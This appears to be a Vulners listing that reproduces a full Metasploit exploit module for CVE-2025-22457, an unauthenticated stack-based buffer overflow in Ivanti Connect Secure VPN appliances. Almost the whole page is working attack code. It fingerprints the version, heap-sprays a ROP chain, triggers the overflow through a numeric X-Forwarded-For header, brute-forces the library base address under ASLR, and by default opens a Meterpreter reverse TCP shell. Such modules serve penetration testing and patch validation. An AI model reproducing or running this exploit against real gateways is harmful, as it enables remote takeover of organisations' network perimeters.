Lucene search
K

📄 Ivanti Connect Secure 22.7R2.5 Remote Code Execution

🗓️ 16 May 2025 00:00:00Reported by Stephen Fewer, Christophe De La FuenteType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 204 Views

Exploits Ivanti Connect Secure 22.7R2.5 stack overflow for remote code execution (CVE-2025-22457).

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::Tcp
      alias tcp_socket_connect connect
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      class IvantiError < StandardError; end
      class IvantiNotFoundError < IvantiError; end
      class IvantiUnexpectedResponseError < IvantiError; end
      class IvantiUnknownError < IvantiError; end
      class IvantiNetworkError < IvantiError; end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow',
            'Description' => %q{
              This module exploits a Stack-based Buffer Overflow vulnerability in
              Ivanti Connect Secure to achieve remote code execution
              (CVE-2025-22457). Versions 22.7R2.5 and earlier are vulnerable. Note
              that Ivanti Pulse Connect Secure, Ivanti Policy Secure and ZTA gateways
              are also vulnerable but this module doesn't support this software. Heap
              spray is used to place our payload in memory at a predetermined
              location. Due to ASLR, the base address of `libdsplibs` is unknown.
              This library is used by the exploit to build a ROP chain and get
              command execution. As a result, the module will brute force this
              address starting from  the address set by the `LIBDSPLIBS_ADDRESS`
              option.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Stephen Fewer', # Analysis and PoC
              'Christophe De La Fuente', # Metasploit Module
            ],
            'References' => [
              ['CVE', '2025-22457'],
              ['URL', 'https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457'],
              ['URL', 'https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis'],
              ['URL', 'https://github.com/sfewer-r7/CVE-2025-22457']
            ],
            'DisclosureDate' => '2025-04-03',
            'Platform' => 'linux',
            'Arch' => [ARCH_CMD],
            'Privileged' => false,
            'Targets' => [
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => [ARCH_CMD],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
            OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
            OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]),
            OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]),
          ]
        )
      end
    
      def validate_options
        if datastore['MAX_THREADS'] < 1
          fail_with(Failure::BadConfig, "MAX_THREADS should be at least 1 (current value: #{datastore['MAX_THREADS']})")
        end
    
        if datastore['WEB_CHILDREN'] < 1
          fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})")
        end
      end
    
      # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
      def product_version
        return @product_version if @product_version
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi'),
          'vars_get' => {
            'type' => 'inter'
          }
        })
        raise IvantiUnknownError, '[product_version] No response from the server' if res.nil?
        raise IvantiUnexpectedResponseError, "[product_version] Server responded with an unexpected HTTP status code: #{res.code}" unless res.code == 200
    
        unless res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
          raise IvantiNotFoundError, '[product_version] Product version not found'
        end
    
        @product_version = Regexp.last_match(1)
      end
    
      def url_schema
        ssl ? 'https' : 'http'
      end
    
      def check
        print_status("Checking the product version for #{url_schema}://#{rhost}:#{rport}")
    
        # This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
        # see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
        if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981')
          return CheckCode::Appears("Detected version: #{product_version}")
        end
    
        CheckCode::Safe("Detected version: #{product_version}")
      rescue IvantiError => e
        CheckCode::Unknown("Unknown version: #{e}")
      end
    
      def target_data
        {
          # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
          '22.7.2.3597' => {
            overflow_length: 622,
            gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret;
            offset_to_got_plt: 0x0157c000,
            gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret;
            gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
          }
        }
      end
    
      def send_http_data(data)
        s = tcp_socket_connect(false, { 'SSLVerifyMode' => 'NONE' })
        s.write(data)
        s
      rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
        raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}"
      end
    
      def user_agent
        return @user_agent if @user_agent
    
        # list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
        # command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
        @user_agent = %w[
          v9.12-199-g06afc42b
          v9.12-198-gb82f00f7
          v9.12-196-g32971c1b
          v9.12-195-g9fe01919
          v9.12-193-ge4cc8a65
          v9.11-21-g3bc9d788
          v9.11-20-g3f4f3415
          v9.11-19-gf6d2c8d8
          v9.11-18-g0b47190f
          v9.11-17-g4ca0aa1b
          v9.10-26-gd40f4370
          v9.10-24-g5d1b0883
          v9.10-22-gbaa80279
          v9.10-21-g3fbba481
          v9.10-17-g15b4c533
          v9.01-189-g5aca5431
          v9.01-188-gb6b85208
          v9.01-187-g299d4444
          v9.01-186-gab5f1639
          v9.01-185-g77838371
        ].sample
      end
    
      def make_connections
        print_status('Making connections...')
    
        @lock = Mutex.new
        threads = []
    
        0.upto(datastore['MAX_THREADS']) do
          threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
            loop do
              break unless @lock.synchronize do
                @spray_socks.size < ((1024 - 256) * datastore['WEB_CHILDREN'])
              end
    
              body = "GET / HTTP/1.1\r\n"
              body << "Host: #{rhost}:#{rport}\r\n"
              body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n"
              body << "Content-Type: EAP\r\n"
              body << "Upgrade: IF-T/TLS 1.0\r\n"
              body << "Content-Length: 0\r\n"
              body << "\r\n"
    
              s = send_http_data(body)
              res = s.read
    
              fail_with(Failure::Unreachable, 'No response received from the target.') unless res.present?
              fail_with(Failure::UnexpectedReply, 'Bad response from the target') unless res.include?('101 Switching Protocols')
    
              @lock.synchronize do
                @spray_socks << s
              end
            rescue IvantiNetworkError => e
              fail_with(Failure::Unreachable, "Unable to make a connection. You might need to increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`): #{e}")
            end
          end
        end
    
        threads.each(&:join)
      end
    
      def spray(libdsplibs_base)
        print_status('Spraying...')
    
        padding = rand_text(128)
    
        spray_pattern = [
          # DWORD   , # Address where the DWORD will be located after the heap spray
          SecureRandom.rand(2**32), # 0x39393818:
          SecureRandom.rand(2**32), # 0x3939381C:
          SecureRandom.rand(2**32), # 0x39393820:
          SecureRandom.rand(2**32), # 0x39393824:
    
          libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget.
          0x39393828 - 0x10, # 0x3939382C:
          SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp)
          libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834:
    
          libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx)
          libdsplibs_base + @target[:gadget_call_system], # 0x3939383C:
          SecureRandom.rand(2**32), # 0x39393840:
          SecureRandom.rand(2**32), # 0x39393844:
    
          SecureRandom.rand(2**32), # 0x39393848:
          SecureRandom.rand(2**32), # 0x3939384C:
          SecureRandom.rand(2**32), # 0x39393850:
          SecureRandom.rand(2**32), # 0x39393854:
    
          SecureRandom.rand(2**32), # 0x39393858:
          0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
          SecureRandom.rand(2**32), # 0x39393860:
          SecureRandom.rand(2**32), # 0x39393864:
    
          0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
          SecureRandom.rand(2**32), # 0x3939386C:
          SecureRandom.rand(2**32), # 0x39393870:
          SecureRandom.rand(2**32), # 0x39393874:
    
          SecureRandom.rand(2**32), # 0x39393878:
          SecureRandom.rand(2**32), # 0x3939387C:
          SecureRandom.rand(2**32), # 0x39393880:
          SecureRandom.rand(2**32), # 0x39393884:
    
          SecureRandom.rand(2**32), # 0x39393888:
          SecureRandom.rand(2**32), # 0x3939388C:
          SecureRandom.rand(2**32), # 0x39393890:
          0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
    
          # padding...
          # 0x39393918: shell_cmd @ edi
        ].pack('V*') + padding + @shell_cmd
    
        fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512
    
        heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)
    
        ift_body = [
          0x00005597, # VENDOR_TCG
          0x00000001, # IFT_VERSION_REQUEST
          heap_buffer.length + 16 + 1,
          0 # seq id
        ].pack('NNNN') + heap_buffer
    
        threads = []
        spray_idx = 0
    
        0.upto(datastore['MAX_THREADS']) do
          threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
            loop do
              s = @lock.synchronize do
                s = @spray_socks[spray_idx]
                spray_idx += 1
                s
              end
    
              break if s.nil?
    
              s.write(ift_body)
            rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
              print_error("Error while writing the socket: #{e}")
              print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\
                          'web child crashed. This needs to match the number of vCPUs of the target, '\
                          'since the number of child process matched the number of vCPUs.')
            end
          end
        end
    
        threads.each(&:join)
      end
    
      def trigger
        print_status('Triggering...')
    
        # Build the buffer with only numerical values
        buffer = rand_text_numeric(@target[:overflow_length])
        buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's
        buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern
    
        fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any?
    
        body = "GET / HTTP/1.1\r\n"
        body << "X-Forwarded-For: #{buffer}\r\n"
        body << "\r\n"
    
        1.upto(datastore['WEB_CHILDREN']) do |attempt|
          print_status("Attempt ##{attempt}")
          begin
            send_http_data(body)
          rescue IvantiNetworkError, StandardError => e
            vprint_warning("Exception: #{e}")
          end
        end
      end
    
      def attempt_exploit(libdsplibs_base)
        print_status("Trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}")
    
        @spray_socks = []
        make_connections
    
        spray(libdsplibs_base)
    
        trigger
      ensure
        @spray_socks.each do |s|
          s.close unless s.closed?
        end
      end
    
      def exploit
        validate_options
    
        @shell_cmd = "a;export LD_LIBRARY_PATH=/home/lib;#{payload.encoded} #"
        @shell_cmd << "\x00"
        @shell_cmd << 'B' while @shell_cmd.length < 256
    
        unless @shell_cmd.length == 256
          fail_with(Failure::BadConfig, "shell_cmd should be 256 bytes (current size: #{@shell_cmd.length}")
        end
        vprint_status("shell_cmd: #{@shell_cmd}")
    
        print_status("Targeting #{url_schema}://#{rhost}:#{rport}")
    
        @target = target_data[product_version.to_s]
        fail_with(Failure::BadConfig, "No target for this version (#{product_version})") unless @target
    
        print_status('Starting...')
        libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS']
    
        _, elapsed_time = Rex::Stopwatch.elapsed_time do
          # with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8).
          0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do
            _, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do
              attempt_exploit(libdsplibs_base)
            end
            vprint_status("Attempt elapsed time: #{attempt_elapsed_time} seconds")
    
            # give the target a few seconds to respawn the web binary before we try again.
            Rex.sleep(5)
    
            break unless framework.sessions.empty?
    
            # increment to the next aligned memory location
            libdsplibs_base += 0x1000
          end
        end
    
        vprint_status("Total elapsed time: #{elapsed_time} seconds")
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 May 2025 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.19 - 9.8
EPSS0.94129
SSVC
204